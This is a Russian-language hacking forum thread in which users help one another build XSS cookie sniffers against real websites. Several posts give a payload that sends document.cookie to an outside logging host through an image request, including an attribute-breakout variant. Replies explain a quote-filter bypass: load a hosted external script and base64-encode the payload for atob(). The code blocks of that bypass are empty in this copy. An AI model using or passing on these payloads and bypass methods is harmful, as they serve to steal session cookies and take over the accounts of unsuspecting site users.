Бесплатные хостинги не валят.

Помогите , Хелп

У меня проблема со сниффером , я вроде бы уязвимость нашел , хостинг нашел , а вот как это все со сниффером "склеить" вообще невкурил , помогите нубу разобраться плс.

мазахакер помоги со своим js.в общем самодостаточные скрипты снифают нормально,но работают в хроме.тут есть один минус.хром убирает надпись javascript в адресной строке(ну и конешно большой минус мало какой юзверь решится такое вставить себе в браузер и тем более что то то дописывать руками)в firefox самодостаточные вообще не выполняются(тупо никакой реакции).при выполнении скрипта происходит редирект на гугл но в логах ничего нет.тоже самое с картинкой
img = new Image(); img.src = "http://сайт/картинка.gif?"+document.cookie; хотя при выполнении самодостаточного все снифается.как переделать js так чтобы все работало и можно ли сделать скрипт который одинаково нормально будет работать и в ff и в chrome

Цитата:

Сообщение от imbadjkelvin

Помогите , Хелп

У меня проблема со сниффером , я вроде бы уязвимость нашел , хостинг нашел , а вот как это все со сниффером "склеить" вообще невкурил , помогите нубу разобраться плс.

что склеить то?залей его на хост.зайди в лог и тестируй на сайтах где есть xss.хотя у меня получилось только с самодостаточными скриптами.и то тока в хроме

либо голова не варит либо туплю , есть активка вставляю скрипт, не выполняеться, а в исходнике вижу что мешают символы

">img = new Image(); img.src = \"http://site.ru4_1.gif?\"+document.cookie; как их закодировать? пробовал base не катит

попробуй испоLьзовать одинарные кавычки '

все равно такое пробывал

Цитата:

Сообщение от rauf1324

все равно такое пробывал

это не активка, а пасивка
там кавычки фильтруются, тебе нужно не сразу куки дергать а подгружать js
заливаешь на хостинг файл 1.js с содержанием

code:


и в поле где хсс вставляешь скрипт с адресом на загруженный js

code:

для проверки кодируешь
source:


в бейс64
получится вот это -
source:


вставляешь вместо своего javascript:alert() вот это -
source:


если алерт сработал , то уже кодируешь свой скрипт в бейс64 типа
source:


вставляешь между кавычками после atob!
а вообще это один из множества вариантов!